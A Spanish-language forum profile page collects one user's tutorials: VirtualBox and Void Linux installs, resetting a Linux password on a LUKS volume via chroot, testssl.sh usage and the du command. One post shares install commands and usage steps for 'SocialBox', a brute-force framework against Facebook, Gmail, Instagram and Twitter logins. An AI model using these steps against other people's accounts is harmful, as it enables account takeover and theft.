Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - R3v0lve

#1
Windows / VirtualBox Instalacion Windows 10
Julio 18, 2021, 09:41:18 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Que es virtual box?


VirtualBox es la aplicación que nos permitirá crear una máquina virtual en nuestro ordenador, sea cual sea nuestro Sistema Operativo, aunque en este artículo tratemos la versión para Windows 10. Los objetivos principales de tener una máquina virtual instalada en nuestro PC suelen ser para usar ordenadores para testing (si probamos algo que nos peta el ordenador, bastará con crear una nueva máquina virtual) y para tener otro sistema operativo paralelo a nuestro sistema operativo habitual, de esta forma podremos usar, por ejemplo, Windows y Linux a la vez, sin necesidad de tener que reiniciar cada vez que queramos usar un Sistema u otro.

Como descargar Virtual Box?
Visitando la pagina : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Link Directo:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Una vez descargado realizamos click izquierdo y se abrira una ventana :

Click en ejecutar



Darle Click en Next



Veremos la configuraciones de la instalacion en esta caso no tocaremos ninguna config le daremos Next



Nos explica si queremos acceo directo en nuestro escritorio y en el panel de busqueda, dejamos por default y le damos Next



Explica que instalara controladores de red para manejo de la vlan y lan ipconfig del virtual box



Click en Install y comenzara a instalar el programa



Esperamos que comienza la instalacion saldra ventanas emergentes preguntando que se instale los controladores





Le damos a todos instalar



Le damos Finish y cerrara el instalador y ejecutara el Vbox



Vemos una instalacion limpia sin errores, comenzaremos a realizar la instalacion de sistema operativo


Antes de todo debemos descargar el ISO de Windows 10
Aqui damos un link de referencia : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Darle click en nuevo se abrirar una ventana ahi donde configuraremos la maquina virtual






Se asigna la memoria ram en mb, se sugiere consulta cuanto de memoria ram tiene tu computadora y el requirimiento minimo del ISO\



Le daremos crear disco duro virtual ahora, por el motivo nmo tenemos creado una maquina virtual , cuando ya existe se da usar un archivo de disco duro, le damos crear



Elegimos VDI.
Explicamos los diferentes opciones
VDI es el formato nativo de VirtualBox. Otro software de virtualización generalmente no admite VDI, pero es bastante fácil convertir de VDI a otro formato, especialmente con qemu-img convert.

VMDK está desarrollado por y para VMWare, pero VirtualBox y QEMU (otro software de virtualización común) también lo admiten. Este formato puede ser la mejor opción para usted porque desea una amplia compatibilidad con otro software de virtualización.

VHD es el formato nativo de Microsoft Virtual PC. Windows Server 2012 introdujo VHDX como el sucesor de VHD, pero VirtualBox no es compatible con VHDX.




Click de NEXT




Menciona la cantidad en GB que se creara la maquina virtual se sugiere consulta para que esta creada la maquina virtual, en mi caso la dejare en 50 GB.
Click en CREAR



Ya tenemos nuestra maquina


Iniciamo la maquina virtual dandole click al nombre , luego iniciar




Selecionamos la carpeta con flecha verde, y buscamos la iso, para que arranque con ella



Al selecionar la iso lo que hara es arranque esa iso y comenzara la instalacion del WIN10



Comenzamos a la configuracion y instalacino , en mi caso dejare todo y darre click en siguiente



Click en instalar



Click en siguiente



Aceptamos los terminos, y le damos siguiente



Click, en perzonalizada: instalar solo windows



Click en nuevo , se asignara la cantidad de gb para la instalacion.
Luego de nuevo , le damos aplica sin tocar nigun parametro automaticamente windows tomara todo el espacion.
Click aplicar
Luego de darle click aplicar ya estara creado el espacio en disco duro y le daremos siguiente






Solo esperamos que termine la instalacion



Faltan unos retoques para finalizar



Seleciones nuestra region, luego le damo si



Selecionamosel teclado



Agregamos el nombre y contrasena si no desea poner contrasena solo le da siguiente.



Esta configurando la instalacion



Listo , ya tenemos windows 10 instalado en virtual box
#2
Un dia como cualquiera ,deje mi laptod en el trabajo y en medio de esta pandemia la habia dejado en mi trabajo, cuando volvemos a lavor no me acordaba de la contraseña de usuario , ya que yo la cambio de forma periodica y me di la tarea de cambiarla el detalle al tratar de montar la particion lvm, no podia, asi que me di la tarea de investigar como recuperar la contraseña teniendo volumen LVM, y como una nota debes tener la contraseña de lvm, me acordaba la contraseña de LVM, pero de mi usuario no, asi que explicare los pasos de recuperarla teniendo password de lvm, si no te acuerda dudo que sea posible recuperarla porque al montar el volumen te la va a pedir, comenzamos!!

Requisitos:

Livecd, cualquier distribucion de tu preferencia en mi caso use SLACKWARE LINUX 14.2.
identificar el volumen que se montara
Montar el volumen
Tener password lvm
Cambiar password

Paso 1:
Ejecutar LIVECD  y seguir en el paso 2, nota debe estar en una terminal , si tu usas livecd  ejecuta una terminal.

Paso 2:

Código: php
sudo fdisk -l

root@kada:/home/m3rsy# fdisk -l
Disk /dev/sda: 232.9 GiB, 250059350016 bytes, 488397168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc1e172c0

Device     Boot     Start       End   Sectors   Size Id Type
/dev/sda1  *         2048   1048575   1046528   511M 83 Linux
/dev/sda2         1048576 484136959 483088384 230.4G 83 Linux
/dev/sda3       484136960 488331263   4194304     2G 83 Linux

Disk /dev/mapper/rootfs: 230.4 GiB, 247339155456 bytes, 483084288 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/mapper/swapfs: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

Identificamos que el volumen que montaremos en mi caso es /dev/sda2
/dev/sda2         1048576 484136959 483088384 230.4G 83 Linux



En la terminal vamos a crear una carpeta para montar nuestro sistema.

Código: php
mkdir /mnt/recovery


Ya creada la carpeta ahora es que montaremos nuestro volumen, y ya sabiendo que nuestro volumen es /dev/sda2
Código: php
sudo cryptsetup open /dev/sda2 luksrecoverytarget --type luks


Al ejecutar el codigo nos pedira la password del volumen , ingresela y ya esta abierto el contenedor de volumen.

Ya esta montado ejecutamos nuevamente.

Código: php
root@kada:/home/m3rsy# sudo cryptsetup open /dev/sda2 luksrecoverytarget --type luks

Enter passphrase for /dev/sda2:

Código: php
fdisk -l 

y veremos que estara montado una particion llamada:

Código: php
/dev/mapper/luksrecoverytarget


Esta particion es la que montaremos a nuestro directorio , y procedemos a cambiar el password

Paso 3:Montando Particiones

Código: php
mount /dev/mapper/luksrecoverytarget /mnt/recovery


Paso 4: Recuperando password

Ejecutamos en terminal lo siguiente:
Código: php
chroot /mnt/recovery


Ya entramos a nuestro sistema y a cambiar todas las password sea root y sea user
Código: php
root@kada:/home/m3rsy# passwd root
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully


Identificamos que usuarios hay con el archivo

Código: php
cat /etc/passwd


root@kada:/home/m3rsy# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ntp:x:106:110::/home/ntp:/bin/false
messagebus:x:107:112::/var/run/dbus:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
nm-openconnect:x:109:117:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/bin/false
nm-openvpn:x:110:118:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:112:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
saned:x:113:123::/var/lib/saned:/bin/false
pulse:x:114:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
lightdm:x:115:126:Light Display Manager:/var/lib/lightdm:/bin/false
hplip:x:116:7:HPLIP system user,,,:/var/run/hplip:/bin/false
m3rsy:x:1000:1000::/home/m3rsy:/bin/bash
Debian-gdm:x:117:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
debian-tor:x:118:128::/var/lib/tor:/bin/false
privoxy:x:119:65534::/etc/privoxy:/bin/false
geoclue:x:120:129::/var/lib/geoclue:/bin/false
speech-dispatcher:x:121:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
glances:x:122:130::/var/lib/glances:/bin/false
_dnscrypt-proxy:x:123:65534::/run/dnscrypt-proxy:/bin/false
dnsmasq:x:124:65534:dnsmasq,,,:/var/lib/misc:/bin/false

Ya identificando que el usuario que cambiare la password es m3rsy , procedemos.

m3rsy:x:1000:1000::/home/m3rsy:/bin/bash

Código: php
root@kada:/home/m3rsy# passwd m3rsy
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully


Paso 5: Desmontando

Código: php
sudo umount /mnt/recoverytarget
sudo cryptsetup close luksrecoverytarget


Paso 6:Reiniciado

Si usas systemd reincia con:
Código: php
systemctl reboot

Si usas Sysvinit:
shutdown reboot now

Finalizacion!!!! Logramos cambiar con exito nuestro password, recuerde esto aplica nada mas para volumen y encriptacion LUKS,LVM, si tu no tiene esos volumenes debe hacer un procedimiento mas corto y distinto y se puede realizar mediante grub.
#3
Hacking Tools / Test SSL
Junio 04, 2020, 04:06:25 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es una herramienta de línea de comandos gratuita que verifica el servicio de un servidor en cualquier puerto para el soporte de cifrados TLS / SSL, protocolos, así como fallas criptográficas recientes y más.



Características
*Salida clara: puede decir fácilmente si algo es bueno o malo
*Facilidad de instalación: Funciona para Linux, Mac OSX, FreeBSD, NetBSD y WSL / MSYS2 / Cygwin listos para usar: no es necesario instalar o configurar algo, sin gemas, *CPAN, pip o similares. OpenBSD solo necesita bash para ser postinstalado.
*Alternativamente, se proporciona un Dockerfile o simplemente puede usar docker run --rm -ti drwetter / No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
*Flexibilidad: puede probar cualquier servicio SSL / TLS habilitado y STARTTLS, no solo servidores web en el puerto 443
*Caja de herramientas: varias opciones de línea de comandos lo ayudan a ejecutar su prueba y configurar su salida
*Fiabilidad: las características se prueban exhaustivamente
*Verbosidad: si no se puede realizar una verificación en particular debido a la falta de capacidad en el lado del cliente, recibirá una advertencia
*Privacidad: solo tú eres el que ve el resultado, no un tercero
*Libertad: es 100% de código abierto. Puedes mirar el código, ver qué está pasando y puedes cambiarlo. Diablos, incluso el desarrollo está abierto (github)
*Documentación: en formato HTML, markdown o groff



Licencia
testssl.sh es un software gratuito y de código abierto. Puede usarlo bajo los términos de GPLv2, revise la Licencia antes de usarlo. Además, a partir de la versión 3.0rc1, si lo está ofreciendo como un servicio público y / o pago, debe mencionar a su audiencia que está utilizando este programa y de dónde obtenerlo.



Compatibilidad
Testssl.sh funciona en todas las distribuciones de Linux / BSD listas para usar. Lo último de 2.9dev, la mayoría de las limitaciones de las características deshabilitadas del cliente openssl se han ido debido a las comprobaciones basadas en bash-socket. Como resultado, también puede usar p. LibreSSL u OpenSSL> = 1.1.1. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta también funciona en otro sistema unixoide listo para usar, se supone que tienen / bin / bash> = versión 3.2 y herramientas estándar como sed y awk instaladas. Una comprobación implícita (silenciosa) de binarios se realiza cuando inicia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. El sistema V probablemente necesita tener GNU grep instalado. MacOS X y Windows (usando MSYS2, Cygwin o WSL) también funcionan.



Instalacion
Puede descargar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta branch 3.1dev simplemente clonando este repositorio de git:

Código: php
git clone --depth 1 https://github.com/drwetter/testssl.sh.git

Piense en 3.1 dev como un lanzamiento continuo, vea a continuación. Para la versión estable, ayúdese descargando el archivo ZIP o tar.gz. Simplemente  cd en el directorio creado (= INSTALLDIR)  y ejecútelo allí.


Ejemplos
Código: php
# ./testssl.sh https://www.google.com/


Para ejecutar una verificación contra los protocolos habilitados para STARTTLS: ftp, smtp, pop3, imap, xmpp, telnet, ldap, postgres, mysql, use la opción -t.
Código: php
# ./testssl.sh -t smtp https://www.google.com/

Por defecto, todas las pruebas masivas se realizan en modo serie, puede habilitar las pruebas paralelas utilizando el indicador --paralelo.
Código: php
# ./testssl.sh --parallel https://www.google.com/

Si no desea utilizar el programa predeterminado del sistema openssl, use el indicador –openssl para especificar una alternativa.
Código: php
# ./testssl.sh --parallel --sneaky --openssl /path/to/your/openssl https://www.google.com/

Es posible que desee mantener registros para un análisis posterior, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta tiene la opción --log (almacenar el archivo de registro en el directorio actual) o --logfile (especificar la ubicación del archivo de registro) para eso.
Código: php
# ./testssl.sh --parallel --sneaky --logging https://www.google.com/

Para deshabilitar la búsqueda de DNS, que puede aumentar las velocidades de prueba, use el indicador -n.
Código: php
# ./testssl.sh -n --parallel --sneaky --logging https://www.google.com/

La opción -p permite probar los protocolos TLS / SSL (incluidos SPDY / HTTP2).
Código: php
# ./testssl.sh -p --parallel --sneaky https://www.google.com/

Puede ver las selecciones y el certificado predeterminados del servidor con la opción -S.
Código: php
# ./testssl.sh -S https://www.google.com/

Luego, para ver el protocolo + cifrado preferido del servidor, use el indicador -P.
Código: php
# ./testssl.sh -P https://www.google.com/

La opción -U lo ayudará a probar todas las vulnerabilidades (si corresponde).
Código: php
# ./testssl.sh -U --sneaky https://www.google.com/

[/size]
#4
GNU/Linux / Du (Comando Gnu/LInux)(Terminal)
Abril 17, 2020, 06:54:26 PM
Que es Du?
El comando du es una utilidad de línea de comando para informar el uso del espacio en disco del sistema de archivos. Se puede utilizar para averiguar el uso del disco para archivos y carpetas y para mostrar qué está ocupando espacio. Admite mostrar solo directorios o todos los archivos, mostrando un gran total, con salida en formato legible para humanos y se puede combinar con otras herramientas UNIX para generar una lista ordenada de los archivos más grandes de carpetas en un sistema.

Man Page
Código: php
DU(1)                            User Commands                           DU(1)



NAME
       du - estimate file space usage

SYNOPSIS
       du [OPTION]... [FILE]...
       du [OPTION]... --files0-from=F

DESCRIPTION
       Summarize disk usage of each FILE, recursively for directories.

       Mandatory  arguments  to  long  options are mandatory for short options
       too.

       -a, --all
              write counts for all files, not just directories

       --apparent-size
              print apparent sizes,  rather  than  disk  usage;  although  the
              apparent  size is usually smaller, it may be larger due to holes
              in (`sparse') files, internal  fragmentation,  indirect  blocks,
              and the like

       -B, --block-size=SIZE
              use SIZE-byte blocks

       -b, --bytes
              equivalent to `--apparent-size --block-size=1'

       -c, --total
              produce a grand total

       -D, --dereference-args
              dereference only symlinks that are listed on the command line

       --files0-from=F
              summarize  disk usage of the NUL-terminated file names specified
              in file F; If F is - then read names from standard input

       -H     equivalent to --dereference-args (-D)

       -h, --human-readable
              print sizes in human readable format (e.g., 1K 234M 2G)

       --si   like -h, but use powers of 1000 not 1024

       -k     like --block-size=1K

       -l, --count-links
              count sizes many times if hard linked

       -m     like --block-size=1M

       -L, --dereference
              dereference all symbolic links

       -P, --no-dereference
              don't follow any symbolic links (this is the default)

       -0, --null
              end each output line with 0 byte rather than newline

       -S, --separate-dirs
              do not include size of subdirectories

       -s, --summarize
              display only a total for each argument

       -x, --one-file-system
              skip directories on different file systems

       -X, --exclude-from=FILE
              exclude files that match any pattern in FILE

       --exclude=PATTERN
              exclude files that match PATTERN

       --max-depth=N
              print the total for a directory (or file, with --all) only if it
              is   N   or  fewer  levels  below  the  command  line  argument;
              --max-depth=0 is the same as --summarize

       --time show time of the last modification of any file in the directory,
              or any of its subdirectories

       --time=WORD
              show  time  as WORD instead of modification time: atime, access,
              use, ctime or status

       --time-style=STYLE
              show times using style STYLE: full-iso, long-iso,  iso,  +FORMAT
              FORMAT is interpreted like `date'

       --help display this help and exit

       --version
              output version information and exit

       SIZE  may  be (or may be an integer optionally followed by) one of fol‐
       lowing: kB 1000, K 1024, MB 1000*1000, M 1024*1024, and so on for G, T,
       P, E, Z, Y.

PATTERNS
       PATTERN  is  a shell pattern (not a regular expression).  The pattern ?
       matches any one character, whereas * matches any  string  (composed  of
       zero,  one  or  multiple  characters).  For example, *.o will match any
       files whose names end in .o.  Therefore, the command

              du --exclude='*.o'

       will skip all files and subdirectories ending in .o (including the file
       .o itself).

AUTHOR
       Written  by  Torbjorn  Granlund,  David MacKenzie, Paul Eggert, and Jim
       Meyering.

REPORTING BUGS
       Report du bugs to [email protected]
       GNU coreutils home page:
       General help using GNU software:

COPYRIGHT
       Copyright © 2009 Free Software Foundation, Inc.   License  GPLv3+:  GNU
       GPL version 3 or later .
       This  is  free  software:  you  are free to change and redistribute it.
       There is NO WARRANTY, to the extent permitted by law.

SEE ALSO
       The full documentation for du is maintained as a  Texinfo  manual.   If
       the  info and du programs are properly installed at your site, the com‐
       mand

              info coreutils 'du invocation'

       should give you access to the complete manual.



GNU coreutils 7.4               September 2010                           DU(1)


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Output de comando DU en una carpeta o directorio
Código: php
root@darkstar /home# du ~/
0 /root/.kde
4 /root/.ssh
4 /root/.config/fish
0 /root/.config/lftp
4 /root/.config/oxygen-gtk
4 /root/.config/gslapt
20 /root/.config/neofetch
4 /root/.config/lockdoor
40 /root/.config
276 /root/.anydesk
4 /root/.cache/pip/http/6/0/6/2/6
4 /root/.cache/pip/http/6/0/6/2
4 /root/.cache/pip/http/6/0/6
4 /root/.cache/pip/http/6/0
4 /root/.cache/pip/http/6
16 /root/.cache/pip/http/a/1/9/5/3
16 /root/.cache/pip/http/a/1/9/5
16 /root/.cache/pip/http/a/1/9
16 /root/.cache/pip/http/a/1
16 /root/.cache/pip/http/a
40 /root/.cache/pip/http/d/f/2/5/c
40 /root/.cache/pip/http/d/f/2/5
40 /root/.cache/pip/http/d/f/2
40 /root/.cache/pip/http/d/f
40 /root/.cache/pip/http/d
60 /root/.cache/pip/http
4 /root/.cache/pip/selfcheck
64 /root/.cache/pip
4 /root/.cache/dconf
5 /root/.cache/mesa_shader_cache
73 /root/.cache
20 /root/.gnupg
15442 /root/.local/share/fish/generated_completions
15458 /root/.local/share/fish
517 /root/.local/share/lftp
15974 /root/.local/share
15974 /root/.local
16415 /root/




Cómo ver un total general para un directorio
Para ver un total general de un directorio, pase la opción -c. Esto mostrará la salida completa y agregará una línea total.

Código: php
du -c /home/m3rsy/Pictures/
961 /home/m3rsy/Pictures/
961 total


Cómo ver el uso del disco en formato legible para humanos
Cómo ver el uso del disco en formato legible para humanos

Para ver el uso del disco en formato legible para humanos, pase la opción -h. En lugar de mostrar el tamaño del archivo en kilobytes para todos los archivos y carpetas, la salida se modifica a un formato legible por humanos.
Código: php
root@darkstar /home# du -h ~/
0 /root/.kde
4.0K /root/.ssh
4.0K /root/.config/fish
0 /root/.config/lftp
4.0K /root/.config/oxygen-gtk
4.0K /root/.config/gslapt
20K /root/.config/neofetch
4.0K /root/.config/lockdoor
40K /root/.config
276K /root/.anydesk
4.0K /root/.cache/pip/http/6/0/6/2/6
4.0K /root/.cache/pip/http/6/0/6/2
4.0K /root/.cache/pip/http/6/0/6
4.0K /root/.cache/pip/http/6/0
4.0K /root/.cache/pip/http/6
16K /root/.cache/pip/http/a/1/9/5/3
16K /root/.cache/pip/http/a/1/9/5
16K /root/.cache/pip/http/a/1/9
16K /root/.cache/pip/http/a/1
16K /root/.cache/pip/http/a
40K /root/.cache/pip/http/d/f/2/5/c
40K /root/.cache/pip/http/d/f/2/5
40K /root/.cache/pip/http/d/f/2
40K /root/.cache/pip/http/d/f
40K /root/.cache/pip/http/d
60K /root/.cache/pip/http
4.0K /root/.cache/pip/selfcheck
64K /root/.cache/pip
4.0K /root/.cache/dconf
5.0K /root/.cache/mesa_shader_cache
73K /root/.cache
20K /root/.gnupg
16M /root/.local/share/fish/generated_completions
16M /root/.local/share/fish
517K /root/.local/share/lftp
16M /root/.local/share
16M /root/.local
17M /root/


Cómo ver el tamaño del archivo de un directorio
Para ver el tamaño del archivo de un directorio, pase la opción -s al comando du seguido de la carpeta. Esto imprimirá un gran tamaño total para la carpeta a la salida estándar.
Código: php
root@darkstar /home# du -sh /home/m3rsy/
19G /home/m3rsy/


Cómo ordenar por tamaño de archivo o carpeta
Para ordenar por tamaño de archivo, pase la salida de du para ordenar y use las opciones -n (numérico) y -r (inverso).
Código: php

root@darkstar /home# du ~/ | sort -n -r | less
40      /root/.cache/pip/http/d
20      /root/.gnupg
20      /root/.config/neofetch
16      /root/.cache/pip/http/a/1/9/5/3
16      /root/.cache/pip/http/a/1/9/5
16      /root/.cache/pip/http/a/1/9
16      /root/.cache/pip/http/a/1
16      /root/.cache/pip/http/a
5       /root/.cache/mesa_shader_cache
4       /root/.ssh
4       /root/.config/oxygen-gtk
4       /root/.config/lockdoor
4       /root/.config/gslapt
4       /root/.config/fish
4       /root/.cache/pip/selfcheck
4       /root/.cache/pip/http/6/0/6/2/6
4       /root/.cache/pip/http/6/0/6/2
4       /root/.cache/pip/http/6/0/6
4       /root/.cache/pip/http/6/0
4       /root/.cache/pip/http/6
4       /root/.cache/dconf
0       /root/.kde
0       /root/.config/lftp
lines 16-38/38 (END)



Cómo encontrar los archivos o carpetas más grandes en un sistema de archivos
Cómo encontrar los archivos o carpetas más grandes en un sistema de archivos

Para encontrar las carpetas más grandes en un sistema de archivos, pase la opción -a. Esto cambiará el comportamiento de du para escribir recuentos de tamaño para archivos y carpetas. Ejecute lo siguiente como root para ver los diez archivos o carpetas más grandes en un sistema. Esto puede ser útil si se trata de problemas de falta de espacio en disco en un sistema.
Código: php
root@darkstar /home# du ~/ | sort -n -r |head -n 10
16415 /root/
15974 /root/.local/share
15974 /root/.local
15458 /root/.local/share/fish
15442 /root/.local/share/fish/generated_completions
517 /root/.local/share/lftp
276 /root/.anydesk
73 /root/.cache
64 /root/.cache/pip
60 /root/.cache/pip/http
#5
Hola Underc0ders , disculpe mi tiempo no estar online ,navegando por la web ,vi un script y lo probe mientras tanto funciona y vengo compartir.



SocialBox is a Bruteforce Attack Framework [ Facebook , Gmail , Instagram ,Twitter ] , Coded By Belahsan Ouerghi

Instalacion

Código: php
sudo apt-get install git
sudo git clone https://github.com/TunisianEagles/SocialBox.git
cd SocialBox
chmod +x SocialBox.sh
chmod +x install-sb.sh
./install-sb.sh
./SocialBox.sh


Output Screen




Ahora lo pondremos a prueba el Framework en mi caso usare mi FB, personal yo ya sabiendo cual es la contrasena.

Presionamos la Tecla 1 , porque usaremos bruteforce para FB.

Output:

Luego ponemo el ID del facebook, a veces son nombres o a veces son numeros, puede ser correo electronico,puede ser,numero de telefono, en mi caso use mi correo electronico.

Output

Asignamos el PATH de nuestra lista , se puede usar txt personalizado con crunch, o usar unos worldlist que hay en la web.
En mi caso use personalizado.

Output

En fin hemos terminado y hemos hecho bruteforce.
#6
Buenas underc0des!!!!!1


En este post hare la instalacion de un sistema operativo muy nuevo muy diferente a los GNU/LINUX, pero diran uds porque crees es nuevo , les dire porque usa su propiar paqueteria y sus repos. XBPS-BINARY.


XBPS-BINARY ?
El X Binary Package System (o xbps) es el sistema de paquete binario utilizado por Void Linux. xbps se diseñó e implementó desde cero. Su objetivo es ser rápido, fácil de usar, libre de errores, funcional y portátil tanto como sea posible.


Que es Void Linux?
Void es un sistema operativo de uso general parecido a Unix, basado en el monolítico .

Void Linux fue creado en 2008 por el ex mantenedor de NetBSD Juan Romero Pardines, y continúa siendo desarrollado completamente por voluntarios. Es una distribución independiente (no una bifurcación): su gestor de paquetes y su sistema de compilación se escribieron desde cero.


Genial Ya sabiendo que es void linux y que paqueteria usa, creo que podemos comenzar, antes de todo VOID no usa SystemD,Ni openrc,tampoco sysV, Usa Unicamente Runit.


Que es Runit?
runit es el sistema de inicio predeterminado utilizado por Void Linux. runit es un conjunto de herramientas que incluye un init PID 1 así como un marco de supervisión de procesos compatible con daemontools, junto con utilidades que agilizan la creación y el mantenimiento de los servicios.

runit emplea un concepto de un directorio de servicios, responsable de un servicio individual, que es un proceso para monitorear, y un servicio de registro opcional.


Nota: Enlazo el Link de Descarga , Void Linux Algunasm ISO ya Viene definidas, con Desktop Enviroment como KDE,XFCE,LXQT.
Nota: Si descargas una ISO con desktop enviroment integrado en la instalacion debes elegir instalar desde local no desde Network

Link :No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Yo descargue la version sin desktop enviroment no afectara mucho la instalacion. solo tomar nota .
Usare una maquina virtual , Usare VMWARE .


Comenzamos!!!!

Omitire la Parte Como crear Una Maquina Virtual con VMWARE.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Selecionamos  La Primera Opcion Con Enter .


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya Iniciado el sistema Logearemos con estas dos tipos de cuenta siguiente:
Código: php
root:voidlinux
anon:voidlinux

Yo Use root:Voidlinux
Ya logeado con el user root, tecleamos :
Código: php
void-installer

y prosigue la instalacion.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Damos enter aparecera en modo ncurses la instalcion , nota no hay grafical instalacion.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mi Teclado es Estados Unidos -Internacional , o US, si ud usa latinamerica o ES. Puedes selecionarlo a gusto.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Damos Enter luego nos manda a network nosotros usaremos DHCP, es decir la red nos dara la ip.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Damos en YES, Con enter!!!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Funciona, Tenemos Conexion a internet!!!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Elegimos Source , es aqui el detalle antes mencionado si habeis descargo una .ISO ya con deskopt enviroment, selecionamos Local,en mi caso la descargue sin deskopt enviroment usare Network


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Nombramos el Hostname en mi caso pondre VOID,


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Elegimos Nuestro Horario en mi caso ya esta, proseguimos con enter.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Elegimos el TIMEZONE , de su provincia.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña de ROOT es decir Super User.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Agregamos El Nombre de Usuario.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Introducimos La Contraseña del usuario.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Permisos De la Cuenta en mi caso dejare todo default y prosigo con ENTER>


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Selecionamos El disco Duro o Particion que usaremos para instalar, Void linux.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
YES!!!


Selecionamos el disco nuevamente para crear el formato en  mi caso usare Ext4 , con bootloader si no le damos bootloader, tendremos problemasen GRUB.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Selecionamos DOS.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Eh creado la particion, como lo hago cuando selecione dos, me sale la tabla en la parte inferior izquierda dice new damos enter, luego dira ,primary.
NOTA: Debemos selecionar la particion y la opciones de abajo selecionar BOOTLOADER.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Ya terminando la particion le damos WRITE, luego nos saldra si queres darle YES OR NO ,Obviamente que YES y lo tecleamos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Luego le damos QUIT, y se saldras DOS, terminaremos el particionar ,nos estamos acercando al final.!1


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
FILESYSTEM.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Le damos changes y agregamos EXT4.
Please Specify Amount agregamos nada mas una / eso quiere decir directorio raiz.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Nos Dirigimos luego a INSTALL .
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Damos ENTER en YES!


Comienza La Instalacion de VOID!!!!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Luego de las descargar comienza el unpacking es decir instalando los paquetes!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


EUREKA!!!!
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tenemos Nuestro VOID Instalado!


Luego de dar ENTER Nos Aparece que le demos reboot y listo ya tenemos listo a VOID Linux.
